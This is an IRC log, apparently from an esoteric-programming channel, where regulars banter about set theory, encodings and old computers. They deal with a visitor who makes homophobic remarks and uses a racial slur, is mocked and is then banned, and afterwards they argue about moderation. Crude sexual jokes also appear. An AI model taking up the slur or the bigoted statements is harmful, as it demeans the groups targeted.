19:03:13 <elliott> fizzie: He thinks we're magicians. Please put him out of his misery.
19:03:29 <elliott> (<alvur> elliott, sorry, I thought you're magicians)
19:04:16 <oklopol> alvur: do you believe in uncountable sets?
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19:05:28 <elliott> alvur: What about countably infinite sets?
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19:06:52 <alvur> oklopol, there's nothing uncountable but God!
19:07:39 <oklopol> so what's the cardinality of god, and are you saying god is a proper class, or even a conglomerate?
19:08:07 <elliott> alvur: Did he make the integers?
19:08:10 <elliott> Is all else the work of man?
19:08:11 <nortti> alvur: I think that you confuse homosexuals and pedophiles
19:08:57 <alvur> stop, guys! where are you from?
19:09:40 <nortti> elliott: we had mildly interesting private discussion after (s|)he had left the channel
19:09:55 <oklopol> i'm a uncountable set fundamentalist
19:10:25 <alvur> oklopol, Helsingisa?
19:11:06 <nortti> alvur: why are you hanging around in a technology channel?
19:11:09 <elliott> nortti: Does that mean we can blame you for this return? :P
19:11:19 <alvur> oklopol, talar ni svenska?
19:12:16 <nortti> elliott: it was few hours ago and he quit the irc at some point
19:12:23 <oklopol> ingen russian. also i suck at those noun gender things, since neither english nor finnish has those.
19:12:34 <oklopol> assuming you meant me by alvur
19:12:56 <elliott> This is the second time alvur has self-pinged.
19:13:00 <elliott> Isn't that, you know, sinful?
19:14:09 <oklopol> he also pinged a fellow male.
19:15:03 <elliott> Are you saying he's a paedophile?
19:15:29 <oklopol> well what else could i be saying
19:16:22 <elliott> fizzie: Anyhow, I pinged you about another NSQX "incident".
19:16:26 <fizzie> oklopol: You're all Turussa.
19:16:29 <fizzie> elliott: Yes, I noted.
19:16:35 <elliott> I think it's resolved now. Though I am happy for opinions on my resolution all the same.
19:16:36 <fizzie> elliott: Your language was "taken".
19:16:59 <elliott> fizzie: Well, I don't care about that.
19:17:09 <elliott> fizzie: It was an abandoned WIP with no content.
19:17:16 <elliott> fizzie: But he decided to run a broken, unauthorised bot on the page.
19:17:24 <fizzie> Yes, I noticed that too.
19:17:28 <elliott> Also one that used "Wikipedia python library" for every edit summary.
19:18:16 <elliott> i found this out with esoteric magics
19:18:22 <alvur> oklopol, I'm from Tyumen, Russia
19:18:28 <fizzie> oklopol: You're such a turussa.
19:18:45 <elliott> <fizzie> oklopol: You're all Turussa. <fizzie> oklopol: You're such a turussa.
19:18:52 <elliott> Is oklopol a turussa, fizzie?
19:18:55 <alvur> elliott, now in Karaganda, Kazakhstan
19:18:56 <oklopol> well the whois text is very dim, i just saw "paris" somewhere in there
19:19:07 <fizzie> elliott: Did I say the first one too? I thought I didn't.
19:19:16 <elliott> alvur: Yes, my magics told me.
19:19:18 <nortti> fizzie: that's because I connect using irc.cc.tut.fi
19:19:18 <fizzie> elliott: You must've used your psychic powers to make me say that.
19:19:21 <oklopol> fizzie: is the joke that people from turku are stupid?
19:19:33 <fizzie> oklopol: The joke seems to be on me now. :/
19:19:51 <elliott> I used... The Gay Science.
19:19:55 <fizzie> Very psy-chic, very fab.
19:19:58 <elliott> Thank Satan for Nietzsche.
19:20:45 <fizzie> Thank {{subst:g-d}}, isn't that how one says?
19:21:34 -!- oerjan has joined.
19:21:44 <oklopol> so apparently we get to work in some sort of windowless basement soon enough, since they're renovating the building and shit.
19:21:58 <nortti> alvur: why do you write that mess?
19:21:59 <elliott> alvur: you realise that doesn't show up as russian for us
19:22:06 <elliott> nortti: that's what some popular russian encoding looks like
19:22:58 <alvur> elliott, cp1251 code page
19:23:19 <fizzie> охуели ребята, you mean.
19:23:20 <elliott> oerjan: hi, alvur thinks we're gay magicians
19:23:34 <elliott> also, have fun with recent changes today.
19:23:46 <elliott> (i mean we are gay magicians, but.
19:23:51 <nortti> does someone who isn't insane still use cp1251?
19:24:12 <pikhq> No. UTF-8 is the only permissible encoding.
19:25:25 <elliott> http://en.wikipedia.org/wiki/UTF-7
19:25:51 <pikhq> Handy for 8-bit char systems.
19:25:58 -!- Madoka-Kaname has quit (Read error: Operation timed out).
19:26:03 <alvur> there's no UTF-7 & UTF-9
19:26:12 <nortti> elliott: I know. Just think about the amount of mojibake
19:26:45 <nortti> alvur: you wrote "only ãåà-8"
19:27:07 <elliott> ãåà-8 is the best encoding
19:27:54 <fizzie> Only ãåà-8.
19:28:06 <alvur> elliott, no no no! ANSII is the best
19:28:07 <elliott> A tilde, a ring, a grave. Minus eight.
19:28:10 <nortti> alvur: I would want to make you talk to my satanist schoolmate, but unfortunately she chats only on IRCNet
19:28:30 <elliott> IRCNet, more like IRsucksNet.
19:28:41 <fizzie> elliott: It's like a life story. The ring is marriage, the grave is death. I don't know what the tilde represents.
19:28:47 <elliott> fizzie: It represents a tilde.
19:29:00 <elliott> I mean, ~ looks kinda like a sperm.
19:29:12 <oerjan> a tilde, a ring, a grave sounds like some esoteric incantation
19:29:15 <fizzie> Well, that's very concise.
19:29:17 <elliott> Speaking of sperm, is there anyone unambiguously gay around we could use to taunt alvur with?
19:29:17 <nortti> pikhq: PETSCII was awesome
19:29:40 <elliott> oerjan: I'm banishing alvur to the Realms of the Forbidden.
19:29:45 <fizzie> fungot: What's your sexual orientation? Is it unambiguous?
19:29:46 <fungot> fizzie:/ sympathy :) all friends must appear, although it may be observed are particularly isolated; for instance, :) intensely acid fruit is kept before/ mind.
19:29:57 <fizzie> I'm not sure if that was unambiguous.
19:30:03 <nortti> elliott: what is wrong with IRCNet?
19:30:14 <elliott> nortti: It has even more Finns than #esoteric.
19:30:22 <elliott> fizzie: "Intensely acid fruit" is the best sexuality.
19:30:37 <fungot> Available: agora alice c64 ct darwin* discworld europarl ff7 fisher fungot homestuck ic irc iwcs jargon lovecraft nethack pa qwantz sms speeches ss wp youtube
19:30:42 <nortti> elliott: Nerv network beats it
19:30:48 <fizzie> I don't know what Darwin was on when he wrote that.
19:30:55 <elliott> fizzie: You should put the Satanic Bible in.
19:31:00 <elliott> Darwin was the worst I could get.
19:31:01 <alvur> to be gay is abnormal
19:31:20 <fizzie> elliott: I came across Ubuntu Satanic Edition the other day.
19:31:40 <oerjan> <elliott> Speaking of sperm, is there anyone unambiguously gay around we could use to taunt alvur with? <-- a certain person with strangely similar nick _is_ present
19:32:07 <elliott> http://ubuntusatanic.org/news/wp-content/themes/satanic/images/satanic-banner.jpg
19:32:11 <nortti> fizzie: I once tried it's undead cd but it didn't want to boot.
19:32:30 <fizzie> elliott: It was listed in that "Linux family tree" graphic, that's where I saw it.
19:32:54 <elliott> Oh. I thought you meant similar to "sperm".
19:32:58 <elliott> I was all, "Slereah" is nothing like "sperm".
19:33:15 <fizzie> elliott: But chances are e was, once!
19:33:18 <oerjan> elliott: well it's closer
19:33:26 <elliott> fizzie: So was everyone! EXCEPT: Jesus.
19:33:52 <elliott> alvur: Infertile people are living in sin, right?
19:33:58 <elliott> Their sexings produce no babies either, after all.
19:34:11 <elliott> If not: I got castrated for NOTHING?
19:34:17 <fizzie> I don't know, when the holy ghost "came upon" whatsherface. There might've been some sticky stuff involved.
19:34:20 <nortti> alvur: what about transsexuals
19:34:40 <oerjan> <elliott> Darwin was the worst I could get. <-- wait, fungot doesn't at least have principia discordia?
19:34:41 <elliott> "Oh, I'm fine with transgender people. But the GAYS? BURN THEM"
19:34:41 <fungot> oerjan: chapter 2.xvi. down, june 5 1861.) :)/ phosphate :) lime. it is a pleasure worth taking some trouble about. in october two casks and a jar were sent by me to ascertain after how long an animal would survive if fed on fibrin alone, but in what proportion he could not, :) course, be correct, every one complained :)/ high importance :) this new fnord, from 1846 to fnord was largely occupied by his work on/ action :)/ male.
19:34:52 <Phantom_Hoover> alvur, um excuse me that would imply that R = God = P(R), Cantor wants a word with you.
19:35:01 <fizzie> oerjan: It's kinda of a short book, and the graphics wouldn't really translate.
19:35:01 <fungot> Available: agora alice c64 ct darwin* discworld europarl ff7 fisher fungot homestuck ic irc iwcs jargon lovecraft nethack pa qwantz sms speeches ss wp youtube
19:35:09 <elliott> "Cantor" is only $many letters away from "sinner".
19:35:23 <elliott> fizzie: Is the Satanic Bible public domain? I don't really know.
19:35:47 <fungot> Selected style: lovecraft (H. P. Lovecraft's writings)
19:36:01 <fungot> fizzie: the presence, nature, and becomes an idiot in consequence, dying less than a thousand miles, though i sometimes think they're a positive asset by way of atmosphere and description.
19:36:02 <oerjan> fungot: you're even better than satanic, right?
19:36:05 <fungot> oerjan: i had not seen a sample, as indeed his continued anaemic decline and increasing pallor prove better than any verbal argument. ward fnord with terrible things, but bided his time till he might shed the yaddith body, nor did the grotesqueness of deeming him an ancient author occur to me; i wished for the volume on the table he thought the centre lay amid the pathless desert of arabia, where irem, the city of a thousand pa
19:36:14 <pikhq> elliott: Probably not. Written in the 70s.
19:36:47 <Phantom_Hoover> <nortti> elliott: we had mildly interesting private discussion after (s|)he had left the channel
19:37:04 <fizzie> Phantom_Hoover: What if you want to CAPTURE the S.
19:37:09 <elliott> Phantom_Hoover: UM excuse me Spivak demands it's (s?h)?e.
19:37:52 <elliott> Phantom_Hoover: Exactly; therefore by coven rules you must???
19:37:53 <alvur> are you really gays-magicians?
19:38:07 <elliott> That's why we're in a channel about esoteric programming languages.
19:38:07 <oklopol> i told you my religion already
19:38:30 <oklopol> and i'm not gay, i'm not anything yet
19:39:05 <Phantom_Hoover> elliott, um no, it just so happens that everyone interested in esolangs is also a gay magician.
19:39:17 <fizzie> I would have given like even odds for a gayklopol.
19:39:22 <Phantom_Hoover> (Although I am a gay vampire, but vampires are, as we all know, magic.)
19:39:39 <oerjan> <fizzie> I don't know, when the holy ghost "came upon" whatsherface. There might've been some sticky stuff involved. <-- the story is it's just ectoplasm, and they're sticking to it.
19:40:10 <oklopol> the hole ghost came upon her face?
19:40:47 <alvur> are there any girls at this channel?
19:41:10 <elliott> We used to have more! But then they all turned gay.
19:41:13 <elliott> As we all know, only men can be gay.
19:41:25 <HackEgo> 631) <Phantom_Hoover> It's like Pygmalion and Galatea but more weeaboo. <Phantom_Hoover> Also lesbian.
19:41:53 <elliott> Phantom_Hoover: You're meant to be ashamed that your most private fantasy got added to the quote base!
19:42:08 <elliott> Wasn't Lymia here like a day ago.
19:42:21 <Phantom_Hoover> elliott, wait how does that square with me being a gay vampi-- oh wait duh I'm a female gay vampire.
19:42:30 <fizzie> We used to have girls, but:
19:42:31 <fizzie> `quote computational linguistics
19:42:34 <HackEgo> 1) <Aftran> I used computational linguistics to kill her.
19:43:41 <oerjan> computational linguistics, the most powerful magic. wait, that means a**ur _is_ a gay magician.
19:43:44 <alvur> are there any black people (niggers) here?
19:44:04 * oerjan suddenly finds his ban finger itchy
19:44:26 <fizzie> oerjan: Getting ready for if anyone says "yes", eh?
19:44:34 <elliott> Yeah, I don't think we need to hear any more.
19:44:35 <nortti> alvur: You are either very racist or a troll
19:45:02 <elliott> fizzie: Do you really want to encourage him?
19:45:45 <alvur> nortti, I'm a christian!
19:45:46 <oklopol> alvur: my irc background is black, so i don't know.
19:46:16 <elliott> "I'm Christian! That means I'm literally unable to be racist."
19:46:36 <oerjan> elliott: it _would_ mean that if christian meant anything
19:46:43 <nortti> alvur: being christian doesn't mean you are not racist when you say racist comments
19:47:06 <oerjan> "There are no jews or greeks", etc.
19:47:10 <elliott> Can we end this? This is the second time they've been here; they're obviously not going to take the hint.
19:47:13 <oklopol> oerjan: my ban finger started itching when he told me he doesn't believe in uncountable sets.
19:47:26 <oklopol> unfortunately i _still_ don't have banning privileges.
19:47:29 <oerjan> sorry, that should be singular.
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19:48:22 -!- Madoka-Kaname has joined.
19:48:27 <alvur> nortti, it's the name of their race
19:48:32 <elliott> Phantom_Hoover: Speak of the Devil...
19:48:39 <oerjan> oklopol: a racist cantor crank!
19:49:05 <fizzie> `run @ oerjan quote 752 # Look, I found one. (It's like we have a quote for every concievable purpose.)
19:49:07 <HackEgo> oerjan: 752) <tswett> Hey, I found Gregor on Spokeo. He's a married black male in his late 50s who lives in an apartment worth about $37,000. He did not go to college and works in sales. <tswett> He lives in Detroit. <tswett> I... think we might have found the wrong one.
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19:49:47 <fizzie> Wait, that least comment wasn't visible in the fshg browser.
19:49:55 <oerjan> fizzie: i before e, exceptly after c
19:50:56 <fizzie> I'm not doing so hot today.
19:50:56 <alvur> you are programmers. it seems to me
19:51:17 <elliott> That is the "name of our race", as they say.
19:51:28 <elliott> (I am using the grammatical construction whereby "they" means "racists".)
19:52:51 <fizzie> oklopol: You're a closet programmer, I think.
19:53:06 <fizzie> (I've seen you paste some Python.)
19:53:17 <oklopol> i was just comparing sizes!!
19:53:24 <alvur> because you're talkin' about misunderstanding things
19:53:27 <nortti> I only program for fun. It is not my profession
19:54:00 <oklopol> programming is really annoying, bitch don't understand a word i'm saying.
19:54:58 <alvur> nortti, are you also Finnish?
19:56:49 <fizzie> "When in doubt, Finnish" almost works on this channel. (Okay, it's not quite that bad. (Yet.))
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19:59:39 <HackEgo> frusti: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
19:59:53 <alvur> oklopol, are you all finnish?))
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20:01:01 <oklopol> out of those who are currently active, me, fizzie and nortti are
20:01:17 <nortti> and I am quite new here
20:02:55 <alvur> Linux Torvalds is a finnish programmer. He created useless operating system
20:02:59 <fizzie> Out of those who also appear on the list and should be nickpinged for some random offences they're probably anyway guilty of, also atehwa, Deewiant, ineiros and ion are Finnish. (I may have missed someone.)
20:03:16 <fizzie> That *must* be some sort of a troll thing, right?
20:05:06 <oklopol> can you calculate how ...populationwise proportionately each country is represented here?
20:05:14 <elliott> fizzie: Yes, come on already.
20:05:17 <fizzie> oklopol: Based on population numbers, I think we should have 0.0472 Finns.
20:05:18 <alvur> oklopol, what time is it now in Suomi?
20:05:38 <fizzie> oklopol: At least that's what W|A outputs if you write in "(population of finland)/(population of the world)*60".
20:06:15 <fizzie> (Also you'll get a rather funny-looking graph about Finland's relative populationness from 1800 to 2009.)
20:06:29 <oklopol> yeah but like, for each country that appears here, how many times too many people we have here
20:06:46 <fizzie> Things were going well for us up until about 1917, and after that we've gone downhill. Coincidentally, that was when we gained our independence.
20:07:03 <oerjan> or too few. we _did_ have a chinese come by the other day.
20:07:48 <nortti> alvur: Why do you think that Linux is useless=
20:08:08 <oklopol> US might be the most correctly represented one?
20:08:10 * elliott mumbles something about feeding the troll.
20:08:24 <fizzie> I think the more pertinent question would be why e thinks that's his first name, if it were a serious comment.
20:08:31 <oklopol> alvur: do you believe in the variational principle
20:08:35 <alvur> until 1917 Finnland was a part of Russia. You should speak russian like your native language.
20:08:39 * elliott also mumbles something about the incredibly high standard for getting kicked here.
20:09:13 <oerjan> so a country should have at least 116 million people to be both present and underrepresented here
20:09:28 <fizzie> elliott: It would diminish your achievements if just about anyone could get kicked.
20:09:34 <alvur> nortti, everybody uses Windows
20:09:49 <fizzie> oerjan: What, are we up to 7 billion already?
20:10:16 <nortti> alvur: I use GNU/Linux, Mac OS X, FreeDOS, AmigaOS andReactOS
20:10:25 <oerjan> fizzie: last halloween
20:10:38 <fizzie> "The USCB estimates that the world population exceeded 7 billion on March 12, 2012. According to a separate estimate by the United Nations Population Fund, it reached this milestone on October 31, 2011."
20:10:42 <alvur> nortti, I don't know people who uses Linux at home PC
20:10:43 <fizzie> I see there are differing opinions.
20:10:58 <oklopol> alvur: then again i suppose you know people who believe in god
20:11:02 <pikhq_> alvur: It's also irrelevant.
20:11:02 <elliott> pikhq_: There's enough people feeding him.
20:11:15 <pikhq_> Meh. Let's just fuck this.
20:11:26 -!- ChanServ has set channel mode: +o oerjan.
20:11:27 <nortti> alvur: I use it on my desktops and on my server
20:11:40 <Sgeo_> "Please consider cleaning your Mac from junk."
20:11:45 <alvur> nortti, I tried ReactOS
20:11:48 -!- oerjan has kicked elliott O KAY.
20:12:22 -!- oerjan has kicked oklopol oklopol.
20:12:26 -!- oklofok has joined.
20:12:28 -!- pikhq_ has quit (Quit: Reboot for new kernel and such).
20:12:34 -!- oklopol has joined.
20:12:35 <tswett> I politely request that I not be kicked.
20:13:05 <fizzie> tswett: I think it's opt-in, not opt-out.
20:13:13 <tswett> However, I request that Gregor be kicked for his apparent absence.
20:13:16 <nortti> alvur: did you like it. I think it was bit less stable than windows and that is something
20:13:19 <alvur> the who uses Linux looks like sectarians
20:13:46 <oklofok> nortti: i have windows 7 and it has crashed about 0 times.
20:13:46 -!- oerjan has kicked alvur alvur.
20:13:46 -!- alvur has joined.
20:14:09 <oerjan> sheesh, why does only elliott have the politeness to stay out
20:14:47 <fizzie> oerjan: There are channels where rejoining in less than five seconds or so converts a kick to a ban.
20:14:56 <nortti> oklofok: On our school Windows 7 crashes very frequently
20:14:57 <alvur> nortti, I think when Reactos will be stable, 32-bit OS won't be used
20:15:41 -!- pikhq has joined.
20:15:46 <oklofok> the only problem is any option you might wanna touch is in control panel -> stuff -> options -> advanced options -> change things -> really change things -> very advanced stuff -> printer options -> color themes -> screensaver options -> folder options -> ...
20:16:26 <oklofok> or you have to use some console command which you cannot really find documentation for.
20:16:46 <nortti> alvur: Well, I still use 16bit operating systems and less frequently even 8bit ones
20:16:55 <oklofok> windows xp which i have on my laptop on the other hand is horrible
20:17:19 <pikhq> oerjan: Srsly no kick?
20:17:20 <oklofok> i just wanna beat fistfully.
20:17:33 <alvur> nortti, do you have i286?
20:17:39 -!- oerjan has kicked pikhq By request.
20:17:51 -!- oerjan has set channel mode: +b *!*alvur@178.89.139.*.
20:17:51 -!- oerjan has kicked alvur I think people are fed up now..
20:17:58 -!- pikhq has joined.
20:18:05 <pikhq> oerjan: I see you don't speak English.
20:18:13 <fizzie> pikhq: There was also the kick you were referring to, while you were gone.
20:18:17 <pikhq> Oh, but alvur did get kicked.
20:18:25 <nortti> alvur: no, but I am trying to get one. I have Amigas and old Macs
20:18:27 <fizzie> In fact, you've been gone for both the kick and the kickban.
20:18:46 <oklofok> nortti has to have all of his somewhat interesting conversations in pm :(
20:19:35 <nortti> I can post logs if you weant
20:21:42 <fizzie> I can't believe a 286 box would be hard to find. We might have one somewhere in Lieksa.
20:21:43 <oklofok> what are we gonna talk about now that he's gone :(
20:21:58 <oklofok> oerjan: do you subscribe to arxiv feeds?
20:22:28 <boily> there is such a thing as arxiv feeds?
20:22:37 <fizzie> (If you just want the CPU, you can apparently buy one for 3 eur.)
20:23:08 <oklofok> boily: i mean the thing where they send you articles submitted the day before in the categories you subscribe to
20:23:31 <oklofok> they also have an rss feed
20:23:34 <boily> oklofok: already browsing them.
20:23:52 <boily> ways_of_having_no_life++;
20:24:29 <nortti> fizzie: I mean complete computer
20:24:42 <oklofok> also sent an article to dynamical systems, and wondering if the choice of category was completely wrong
20:24:54 <oerjan> oklofok: subscribe? do i look like i have the patience to read _actual_ papers any longer?
20:24:58 -!- oerjan has set channel mode: -o oerjan.
20:25:38 <nortti> I also want one that can read 1,2MB 5" floppy disks (my 5" floppy drive doesn't write 360kB floppies)
20:25:38 <fizzie> nortti: Yes, admittedly I couldn't find one from huuto.net right now. But still, there should be loads of those lying around. Ours is a complete system, and it was in working order... uh, I guess a decade or so ago when I last saw it.
20:26:02 <oklofok> oerjan: do i look like i don't have the patience to keep asking you this kind of stuff forever even though i'm fully aware of that?
20:26:37 <oklofok> i'd rather not not have that kind of patience.
20:27:00 <fizzie> nortti: You could buy a http://en.wikipedia.org/wiki/Individual_Computers_Catweasel -- from what a friend told me, it can convince just about any regular floppy drive to read quite a few floppies.
20:27:47 <fizzie> Uh, or could if they'd still be selling those, I guess.
20:28:06 <nortti> OOmfg! It supports Amiga Floppies! I must get one
20:28:19 <oklofok> Phantom_Hoover: i may have missed the point of your pic, what was it?
20:28:52 -!- boily has quit (Quit: WeeChat 0.3.7).
20:35:27 -!- Sgeo_ has quit (Remote host closed the connection).
20:36:52 <Phantom_Hoover> oklofok, Ted Kaczynski is famous for sending letterbombs to universities as part of a neo-Luddite campaign.
20:37:53 <oerjan> all people named kaczynski are crazy. just ask the poles.
20:42:23 -!- Sgeo has joined.
20:43:48 <nortti> wasn't he also known as unabomber or am I confusing he to someone else?
20:43:56 <Phantom_Hoover> Oh, I was about to say something to elliott, but I note that oerjan is sticking fast to his policy of not kicking trolls unless he can also kick at least one productive member of the channel.
20:45:12 <fizzie> It's called "collateral damage", I think.
20:45:20 <oerjan> Phantom_Hoover: hey one of them got so crazy they had to get the russians to put him down!
20:45:24 -!- ChanServ has set channel mode: +o oerjan.
20:45:29 -!- oerjan has kicked oerjan oerjan.
20:45:45 -!- oerjan has joined.
20:46:21 <oklofok> a few years ago our department got this letter from some crazy person
20:46:27 <oklofok> i wish i remembered what it said
20:46:45 <Phantom_Hoover> fizzie, for fuck's sake, if oerjan's going to continue acting like an idiot can you use your op powers?
20:47:06 <oklofok> anyway he wished us a happy year and said he likes quantum physics. it looked like it was written by a 5yo, but apparently it wasn't the first letter from him.
20:47:08 <oerjan> oklofok: CANTOR'S PROOF IS WRONG, of course. except in finnish.
20:47:17 <Phantom_Hoover> I know you try to stay out of that kind of thing, but ais isn't really here that much.
20:47:20 <oerjan> Phantom_Hoover: wait what, is there an actual troll i've missed?
20:47:37 <oklofok> as probably literally retarded
20:48:03 <oklofok> Phantom_Hoover: elliott asked for it
20:48:51 <Phantom_Hoover> oklofok, I'm too tired to play your complex game of irony right now.
20:49:03 <fizzie> We all have our strict rules; oerjan's the kick-nado (a furious whirlpool of kicks), while mine is "ruminate on things until they cease to be a problem". (It's hard to say which one is worse.)
20:49:43 <oklofok> Phantom_Hoover: okay we can try again tomorrow
20:49:52 <Phantom_Hoover> The thing is that oerjan normally ruminates on things until they cease to be a problem until you actually try to get him to do something at which point he acts as passive-aggressively as he can.
20:49:54 <oerjan> oh it was about that elliott hasn't joined again?
20:50:04 <nortti> Am I really only one who likes ed editor?
20:50:06 -!- monqy has joined.
20:50:33 <fizzie> ed! it's the standard editor.
20:50:35 <oklofok> nortti: well i like the drink
20:51:10 <oerjan> Phantom_Hoover: hey i just couldn't resist misinterpreting elliott for a cheap joke. otherwise i would probably have continued ruminating.
20:51:39 <nortti> I have written a multitasking operating system with it
20:52:02 <oerjan> Phantom_Hoover: i see.
20:52:05 <Phantom_Hoover> Cheap jokes once in a while are fine, but you do it /in lieu of actually doing any of the duties expected of an op/.
20:52:25 <oklofok> Phantom_Hoover is scary :(
20:53:03 <oklofok> a very SERIOUS gay vampire!
20:53:04 <oerjan> Phantom_Hoover: it wasn't in lieu. if i hadn't joked, i would simply have waited further until alvur had said something more kickworthy.
20:54:47 <oerjan> in fact i'm not convinced he said anything such between me opping myself and finally banning him.
20:56:04 <oklofok> fizzie: soooooooo, how about that graph showing how well countries are represented.
20:56:36 <fizzie> oklofok: Is that just a cheap attempt to change the topic, or are you actually expecting me to do something? (Because I'm not.)
20:56:48 <Phantom_Hoover> oerjan, where the /hell/ do you draw the line for kickworthiness?
20:57:12 <oklofok> i don't think poor anvil even disrupted the channel really
20:57:32 <Phantom_Hoover> I've yet to see you actually kick someone worthy of it without being repeatedly asked.
20:58:25 <fizzie> Phantom_Hoover: Possibly he doesn't consider talking about ReactOS kickworthy? I mean, that's about all alvur said after oerjan's +o; that, and the bit about "looks like sectarians", which IMO was mostly just confusing.
20:58:53 <oerjan> Phantom_Hoover: which means i have a rather different opinion than the trigger-happy people here about what _is_ worthy of a kick. which may very well be one reason fizzie made me an op in the first place.
20:59:46 <Phantom_Hoover> I mean really, you're saying you're going to warn someone after that?
21:00:28 <oerjan> Phantom_Hoover: that all happened before i opped myself. that was intended as a final warning. ... i wrote that before your last line so i guess it would be hypocritical not to press return.
21:00:39 <fizzie> Yes, I think I would. Not that I'd have high hopes the warning would do much good.
21:00:41 <oklofok> fizzie: if you make me an op, i promise to only kickban people if they suck at math
21:00:56 <fizzie> oklofok: I don't think we want to be a mathist channel. :/
21:01:12 <fizzie> (Also I'd get kickbanned.)
21:02:13 <oerjan> ...it would be slightly easier not to turn op actions into a joke if people didn't joke about it much more often that it is actually needed...
21:02:55 <Phantom_Hoover> oerjan, the reason people joke about it is because you're such a complete idiot about it.
21:03:26 <Phantom_Hoover> Also, even /if/ opping yourself was the final warning, why did you only kick him?
21:03:49 <oerjan> ...ok that was part of the stupid joke. i got carried away by that point.
21:04:22 <fizzie> Anyway, I don't think he said anything especially awful (or especially anything) after the "warning", even if the warning part was rather implied.
21:05:02 <oerjan> ...which makes me rather confused when people continue to say they're /ignoring him during that time.
21:05:43 <Phantom_Hoover> He shifted his trolling a little more towards the "actually an idiot" side.
21:05:50 <oerjan> like, is there some subtext which is obvious to everyone _but_ me?
21:06:07 <Phantom_Hoover> While it wasn't bannable in itself, in context it was clearly just trying to keep a slightly lower profile.
21:06:45 <Phantom_Hoover> oerjan, pikhq ignored him, presumably because he knew this would happen.
21:10:45 <fizzie> I really can't construe the ReactOS/i286 stuff as obvious trolling. I mean, I wouldn't be very surprised if it turned out he actually had tried it out; it's such a weird thing to single out, otherwise. The Linux/sectarian bit, maybe.
21:12:49 <Phantom_Hoover> That you said some non-trolling things does not stop you from being a troll.
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21:14:28 <fizzie> @tell oerjan Hey, we're winning -- but W|A thinks you will eventually crush us: http://www.wolframalpha.com/input/?i=%28population+of+finland%29%2F%28population+of+norway%29
21:14:32 <nortti> it is missing first few lines, but otherwise it is complete log: http://paste.dy.fi/Ivd/plain
21:15:19 <fizzie> Also I would think the whole point about a warning is that you wait for some post-warning actual trolling to happen.
21:15:53 <fizzie> You posted confidential stuff. :/ :/ :\
21:18:01 -!- elliott has joined.
21:18:08 <elliott> [2012-03-31 00:00:50] <alvur> in confidence, I'm an atheist.)) now I'm going to bed. bye bye!
21:18:28 <fizzie> Is that "))" some sort of a smiley, incidentally?
21:18:32 <elliott> Proven: Getting kicked from #esoteric is easy, so long as you're not actually trolling.
21:18:45 <elliott> If you are, then it'll take more than flinging slurs.
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21:27:56 <oklofok> elliott: err, didn't that prove that he _was_ trolling?
21:43:52 <elliott> oklofok: Yes, of course it proved that.
21:45:06 <oklopol> yes i now realize you probably agree with ph
21:45:31 <elliott> Didn't you hear? We're sockpuppets.
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21:45:59 <elliott> I'm Phantom_Hoover, apparently.
21:46:40 <oklopol> so wait you and ph are both sockpuppets and you are also the same sockpuppet?
21:47:19 <elliott> I don't think you know what "sockpuppet" means.
21:47:45 <oklopol> oh apparently not, just wp'd
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21:48:04 <oklopol> no that's what i assumed you meant
21:51:19 <elliott> Then I don't understand the confusion.
21:51:31 <oklopol> well really my question is valid for any meaning of sockpuppet.
21:52:30 <oklopol> well i suppose by "we're sockpuppets", you could just mean that you are in a sockpuppety relation
21:52:34 <oklopol> then everything would make sense
21:52:44 <oklopol> elliott: "so wait you and ph are both sockpuppets and you are also the same sockpuppet?"
21:53:36 <elliott> I mean that Phantom_Hoover is me.
21:53:50 <oklopol> it is a significantly stupider question when sockpuppet means something that makes identity questions complicated. which was why i asked.
21:54:54 <oklopol> ph is marginally better at math, otherwise i'd believe that
21:55:06 <oklopol> that's really the only thing i care about in a person
21:55:29 <oklopol> and also the color of their nick
21:55:51 <oklopol> yours is a manly shade of pink.
21:56:09 <elliott> I was making a reference probably only two regulars here know the details of, so it does not really matter.
21:57:40 <oklopol> well aren't you being an elliotist.
21:58:16 <oklopol> that would work way better if your name was eliot
21:58:55 <oklopol> is there a story behind those beautiful geminates of yours?
22:00:50 <oklopol> i think oerjan kicked you too hard
22:01:33 <oklopol> but yeah did you ever ask your parents
22:02:28 <elliott> I was named without regard to the number of ls or ts.
22:03:18 <oklopol> my parents are very conservative about the number of repetitions of consonants.
22:03:24 <elliott> After I was born my mother reportedly replied "all of them" to whoever was asking how many ls and ts there are.
22:03:35 <elliott> So now I have all of them.
22:03:39 <oklopol> oh thank god you're still elliott
22:04:05 <oklopol> i thought you might have gotten some sort of brain injury from the kick
22:04:26 <oklopol> in sami, which is spoken somewhere here in finland
22:04:30 <oklopol> there are triple geminates
22:05:17 <oklopol> three different lengths that actually carry meaning.
22:06:09 <elliott> `addquote <oklopol> how silly is that. <oklopol> it's not silly. <oklopol> it makes sense.
22:06:12 <HackEgo> 834) <oklopol> how silly is that. <oklopol> it's not silly. <oklopol> it makes sense.
22:06:19 <oklopol> that's totally taken out of context.
22:06:45 <oklopol> there's hundreds of megabytes of irc logs around it
22:07:18 * oklopol realizes he has no idea how many bytes #esologs actually are.
22:09:32 <oklopol> (it was just too much work to capitalize both)
22:10:38 <oklopol> close enough for it to be a bad q
22:10:46 <oklopol> guess instead of an intentional random number
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22:56:50 <shachaf> elliott: Oh, I thought lifestream was taking the class.
23:05:19 <elliott> http://meta.stackoverflow.com/questions/127628/for-casting-the-vote-on-sackoverflow
23:06:50 <zzo38> I don't like all of this daylight saving time; just wake up at sunrise
23:08:27 <elliott> But I don't like wake up at surnise
23:09:23 <shachaf> elliott: If zzo38 becomes king, you'll be forced to wake up at surnise every day.
23:09:54 <monqy> what if I want to wake up at sunset instead
23:10:12 <zzo38> No you won't. It only means I would wake up at sunrise I would not force other people to do so
23:10:31 <elliott> what if sunrise is at 2 am??? / / /
23:11:12 <shachaf> elliott: zzo38 would make you do it.
23:11:18 <shachaf> That's why you should elect me king instead.
23:12:37 <zzo38> No I won't make you do anything.
23:14:19 <zzo38> No I won't make you do anything, please.
23:18:22 <shachaf> zzo38: Are you trying to convince elliott to vote for you?
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23:30:18 <elliott> I can make #haskell ten times better with one new rule.
23:30:27 <elliott> No synthesising your own answers to common problems.
23:31:33 <shachaf> Isn't that the thing kmc usually says?
23:31:43 <elliott> kmc: You're a good person.
23:34:43 <elliott> <dobblego> when I talk about state, I talk about problems that programmers are used to, and pseudo-solutions too -- such as "dependency injection"
23:34:43 <elliott> <dobblego> then I say, watch me solve your problem, with the critical difference, that it will work
23:34:48 <zzo38> What program do you prefer for drawing logos and fonts and whatever? I prefer METAFONT, I think it is best one; but other people might use other stuff if you prefer it
